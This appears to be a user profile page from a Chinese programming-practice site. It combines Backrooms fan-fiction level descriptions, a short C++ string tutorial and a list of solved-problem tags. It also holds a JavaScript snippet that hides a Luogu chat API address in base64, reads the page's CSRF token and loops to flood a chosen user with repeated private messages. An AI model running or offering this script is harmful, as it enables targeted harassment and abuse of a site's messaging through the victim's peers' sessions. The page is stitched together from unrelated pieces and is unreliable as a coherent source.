锡拉基地 未知成员数。 目的应该是为了采集资源。 不开放贸易。 不应该接近。 入口和出口6^ 入口 Level 2未上锁的门通常通向 Level 3 。 Level 4和Level 5的电梯通常可以回到 Level 3 。 进入Level 10的地堡有时可以进入 Level 3 。 Level 11里外观看起来像是电力站的建筑进入后有可能会将你传送到 Level 3 。 触摸在Level 13中发现的生锈管道有可能会使你入 Level 3 。 借助地铁也是进入Level 3的简单方法。 出口 搭乘Level 3里的电梯通常可以前往Level 4和Level 5 7^ 。 木门通向Level 31。 坐在电力房中发现的汽车前座上会让你失去知觉。随后你将在Level 69醒来。 <iframe src="http://hoah2333.github.io/Interwiki/interwikiFrame.html?lang=cn&community=br&type=sidebar&pagename=level-fun" allowtransparency="true" class="html-block-iframe scpnet-interwiki-frame"></iframe> 享乐层 =)警告 我们在这玩得很快乐! =) 享乐层 =)是整个后室里最快乐的层级! 描述: 小型派对室,有很多蛋糕,饼干和杏仁水。我们在这玩得很快乐!=)不要扫了主人的兴哦。 基地、前哨和社区 派对 来自享乐层的派对客。我们在这玩得很快乐!快来加入我们吧! 入口与出口: 入口: 切入Level 1的天花板可能会来到这里!如果你在某些层级看到有五彩纸屑从窗外掉下,那就是我们在开派对!我们的主要入口在Level 283,在休息室前有一组对开门8^,上面用大号彩色粗体写着:FUN!=) 出口: 你为什么想要离开呢?=) 基本定义 string 字符串名; 初始化 string 字符串名 = "赋值内容"; 基本输入 1、不带空格输入 cin >> 字符串名; 2、带空格输入 getline(cin,字符串名); 基本输出 cout << 字符串 ; 基本函数 1、+ += > < == != >= <= 2、求string的长度 字符串名.size(); 删除子串 string s1 = "Real Steel"; s1.erase(1, 3); //删除从位置1开始后面的3个字符,此后 s1 = "R Steel" 插入子串 string s1 = "Limitless", s2="00"; s1.insert(2, "123"); //在下标 2 处插入字符串"123",s1 = "Li123mitless" 查找子串 string s1 = "apple people"; s1.find("ple"); //查找 "ple" 出现的位置 返回值为子串第一次出现的下标返回值为2 s1.find("ple",5); //从下标为5的地方查找"ple"的位置,返回值为9 s1.find("orange"); //查找"orange"的位置,没有查找到,所以返回-1 遍历字符串 string str; cin >> str; int len = str.size(); for(int i=0;i<len;i++) { printf("%c",str[i]); } 特别注意 字符串的整体输入输出不能使用scanf()和printf()
async function WORK(uid,content){await fetch(decodeURI(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2FwaS9jaGF0L25ldw")), {headers: [["content-type", "application/json"],["referer", decodeURI(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuLw"))],["x-csrf-token", document.querySelector("meta[name=csrf-token]").content],],body: JSON.stringify({user: uid,content: content,}),method: "POST",});}(function() {var step;for(step=0;step<轰炸次数;++step){let str=decodeURI("轰炸信息");WORK(对方UID,str)}})();
-
通过的题目
-
最近活动
题目标签
- 初窥门径
- 48
- 顺序结构
- 30
- 一本通编程启蒙
- 28
- 分支结构
- 14
- 略有小成
- 10
- 驾轻就熟
- 7
- 循环结构
- 6
- 递归
- 6
- 字符串
- 4
- 循环嵌套
- 2
- 一维数组
- 2
- 模拟
- 2
- 贪心
- 1
- 连续性问题
- 1